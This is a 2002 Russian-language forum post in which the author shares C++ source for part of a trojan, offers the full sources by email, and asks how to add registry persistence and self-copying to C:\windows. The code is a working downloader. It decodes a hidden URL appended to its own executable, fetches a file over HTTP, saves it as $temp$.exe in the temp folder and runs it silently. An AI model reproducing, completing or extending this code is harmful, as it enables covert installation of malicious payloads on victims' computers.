опубликован 17-02-2002 04:06 MSK
Вот сама часть трояна
если кому нужны все исходники кидайте на мылоТак где сдесь нужно чего дописать чтоб он прописывал себя в реестр и копировал себя в (ну к примеру C:\windows)
#include "stdafx.h"
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//---------get config
char myname[256];
char url[250];
GetModuleFileName(hInstance,myname,sizeof(myname)); // path 2 trojan
FILE * file=fopen(myname,"r");
fseek(file,0-sizeof(url),SEEK_END);
fread( url, sizeof(url), 1,file );
//--------------------
for(int i=0;i<sizeof(url);i++) url[i]-=5;
char tmppath[200];
GetTempPath(sizeof(tmppath),tmppath);
CString m_path=(CString)tmppath+(CString)"$temp$.exe";
try
{
CString m_url =url;
CString m_mes; // переменная в которой будут хранится сообщения
char temp[100]; // промежуточная переменная для перевода
char strBody[1024]; // буфер из 1024 байт
CInternetSession session( _T( "ZOMBIE" ), PRE_CONFIG_INTERNET_ACCESS );
CHttpConnection* pServer = NULL;
CHttpFile* pFile = NULL;
CString strServerName; // имя сервера
CString strObject; // имя объекта
INTERNET_PORT nPort; // номер порта для связи
DWORD dwServiceType; // тип сервиса
if ( AfxParseURL( m_url, dwServiceType, strServerName, strObject, nPort ) == 0 )return 1;
pServer = session.GetHttpConnection( strServerName, nPort );
pFile = pServer->OpenRequest(
CHttpConnection::HTTP_VERB_GET, strObject, NULL, 1, NULL, NULL,
INTERNET_FLAG_EXISTING_CONNECT | INTERNET_FLAG_NO_AUTO_REDIRECT
);
pFile->AddRequestHeaders( _T( "Accept: */*\r\nUser-Agent: ZOMBIES_HTTP_GET\r\n" ) );
pFile->SendRequest( );
DWORD dwRet; // переменная для хранения кода состояния
pFile->QueryInfoStatusCode( dwRet ); // записываем код состояния в dwRet
CString strHeader; // переменная для хранения полученного заголовока запроса
pFile->QueryInfo(HTTP_QUERY_RAW_HEADERS_CRLF, strHeader); // записываем заголовок в strHeader
// если код состояния не равен 200, то выходим из функции
if( dwRet != 200 ) { m_mes += "Program terminate!"; return 1; }
// ----------------------------------------------------------
CFile file2;
file2.Open((LPCTSTR)m_path,CFile::modeCreate|CFile::modeWrite|CFile::typeBinary);
int allRead = 0;
int nRead = pFile->Read( strBody, 1024 ); // считываем первые 1024 байта в буфер.
allRead += nRead; // обновляем общее число считанных байт
file2.Write( strBody, nRead );
while ( nRead > 0 )
{
nRead = pFile->Read( strBody, 1024 );
if( nRead != 0 )
{
file2.Write( strBody, nRead );
allRead += nRead;
}
}
file2.Close(); // закрываем файл
pFile->Close(); // закрываем Internet файл
pServer->Close(); // закрываем сервер
}
catch(...){}
WinExec(m_path,SW_HIDE);
return 0;
}